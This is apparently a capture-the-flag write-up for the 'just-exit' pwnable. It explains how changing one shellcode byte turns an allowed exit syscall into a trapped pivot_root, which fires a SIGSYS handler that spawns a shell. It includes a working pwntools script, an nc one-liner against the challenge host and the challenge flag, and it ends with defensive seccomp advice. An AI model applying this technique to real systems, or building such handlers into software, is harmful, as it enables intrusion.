just-exit was a pwnable in DreamHack CTF Season 7. checksec shows everything turned on — full RELRO, a stack canary, NX, PIE, and even shadow stacks and indirect branch tracking — and none of it matters. The exploit is one byte, and it works by asking the kernel for a syscall the sandbox is configured to refuse.

One byte turns the allowed syscall into the forbidden one the program writes eleven bytes of shellcode, then lets you change exactly one of them index byte 012345678910 48 31 ff 48 31 c0 b0 3c 0f 05 00 xor rdi, rdi xor rax, rax mov al, … syscall the syscall number — the one byte we get to set as shipped: 0x3c exit(0) the filter returns ALLOW, the kernel runs it, the process just exits what we send: 0xa9 pivot_root(…) the filter returns TRAP, the kernel raises SIGSYS, the handler runs instead nothing happens sigsys_handler → system("/bin/sh") The filter blocks one rarely used syscall and allows everything else, which looks harmless. Being blocked is the goal: the penalty for a denied call is a handler that spawns a shell.
The filter blocks one syscall and allows the rest. Being blocked is what the exploit wants, because the penalty is a handler that spawns a shell.

What the binary does

Stripped of its prompts, main does five things in order:

  1. installs a SIGSYS handler;
  2. installs a seccomp filter;
  3. writes eleven bytes of shellcode onto the stack;
  4. offers 1. pass 2. modify:, and on 2 reads two unsigned bytes with %hhu %hhu — an index and a value — checks that the index is at most 10, and writes shellcode[index] = value;
  5. mmaps eleven bytes read-write-execute, copies the shellcode in, and calls it.

The shellcode it writes is the smallest possible program:

48 31 ff    xor rdi, rdi      ; status = 0
48 31 c0    xor rax, rax
b0 3c       mov al, 0x3c      ; 60 = exit
0f 05       syscall

So the binary mmaps RWX memory, copies attacker-influenced bytes into it, and jumps there. That is normally the end of a challenge — except we may change only one byte out of eleven, and eleven bytes is not enough room for a shell even if we could change them all.

The two pieces that matter

The handler. The SIGSYS handler is one line:

void sigsys_handler(int signum, siginfo_t *info, void *context) {
    system("/bin/sh");
}

The filter. The BPF program the binary installs is four instructions:

BPF_LD  | BPF_W | BPF_ABS   0            ; load the syscall number
BPF_JMP | BPF_JEQ           0xa9         ; is it 169, pivot_root?
BPF_RET                     0x00030000   ;   yes: SECCOMP_RET_TRAP
BPF_RET                     0x7fff0000   ;   no:  SECCOMP_RET_ALLOW

Read as a sandbox, this is close to useless: it blocks pivot_root and permits every other syscall, including execve. Read as the challenge intends, it is a trigger. SECCOMP_RET_TRAP does not kill the process — it makes the kernel deliver SIGSYS to it, and this process has a handler for SIGSYS that spawns a shell.

The author chose pivot_root precisely because nothing calls it by accident, so the trap fires only when someone goes looking for it.

The exploit

Index 7 of the shellcode holds 0x3c, the operand of mov al, which is the syscall number. Change it to 0xa9 and the eleven bytes become:

xor rdi, rdi
xor rax, rax
mov al, 0xa9     ; 169 = pivot_root
syscall

The RWX copy runs, issues pivot_root, the filter returns TRAP, the kernel raises SIGSYS, and the handler calls system("/bin/sh").

from pwn import *

io = remote("host3.dreamhack.games", 19017)
io.recvuntil(b"modify: ")
io.sendline(b"2")            # modify
io.recvuntil(b"%hhu")
io.sendline(b"7 169")        # shellcode[7] = 0xa9, exit -> pivot_root
io.interactive()

It is short enough to do by hand:

(echo 2; sleep 0.5; echo "7 169"; sleep 1; echo "cat flag") \
  | nc host3.dreamhack.games 19017
DH{S3CC0MP_S1GSYS:5pEjGGvNF68qLKj3v7adCQ==}
TIP

The index check is index <= 10, which is correct for an eleven-byte buffer, and the value is read into an unsigned char, so there is no overflow anywhere. Every bounds check in this program is right. The bug is not a memory-safety bug at all: it is that the consequence of being denied is more powerful than the thing being denied.

What this is really teaching

Seccomp has several ways to answer a syscall it does not like, and they are not interchangeable:

Action What the kernel does Who decides what happens next
SECCOMP_RET_KILL_PROCESS tears the process down the kernel
SECCOMP_RET_ERRNO fails the call with an errno the kernel
SECCOMP_RET_TRAP raises SIGSYS in the process the process's own handler
SECCOMP_RET_USER_NOTIF hands the call to a supervisor the supervisor

TRAP is the only one on that list that returns control to the sandboxed process, which makes the handler part of the security boundary rather than something outside it. A handler that calls system, or that does anything an attacker would like to reach, converts the filter from a restriction into an entry point. That is not a hypothetical: TRAP is genuinely useful for emulating syscalls or logging them, and a handler written for that purpose is exactly where this goes wrong if it is allowed to do real work.

Three rules follow, and they apply well outside CTFs:

  • Choose the failure mode on what the handler can do, not on what is convenient to debug. If the handler is not itself hardened, KILL_PROCESS or ERRNO is the correct answer.
  • A SIGSYS handler is attacker-reachable code. It must assume the syscall it is handling was made deliberately and hostilely, because in a compromised process it was.
  • An allowlist that denies one syscall is not an allowlist. This filter permits execve; even without the handler trick, anything that controls execution has already won. A real filter names the syscalls a program needs and refuses the rest.

The challenge dresses this up in every mitigation the toolchain offers — canary, NX, PIE, RELRO, shadow stack, IBT — and then shows that none of them is on the path the exploit takes. They defend against corrupting control flow. Here the control flow was never corrupted: the program did precisely what it was written to do.